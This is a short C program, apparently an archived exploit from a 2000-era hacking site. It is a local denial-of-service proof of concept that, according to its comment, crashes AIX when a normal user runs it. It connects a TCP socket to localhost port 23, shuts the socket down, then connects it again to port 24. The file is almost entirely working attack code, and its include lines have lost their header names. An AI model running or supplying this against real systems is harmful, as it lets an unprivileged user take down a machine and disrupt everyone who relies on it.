/* Cahya Wirawan found that when you run this tcp program abobe as a normal user connect crashes aix. */ #include #include #include #include #include #include main() { int sock; struct sockaddr_in server; struct hostent *hp; sock = socket(AF_INET, SOCK_STREAM, 0); /* or sock = socket(AF_INET, SOCK_STREAM, 6); */ hp = gethostbyname("localhost"); bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length); server.sin_family = AF_INET; server.sin_port = 23; connect(sock, (struct sockaddr *)&server, sizeof server); shutdown(sock, 2); server.sin_port = 24; connect(sock, (struct sockaddr *)&server, sizeof server); } /* www.hack.co.za [2000]*/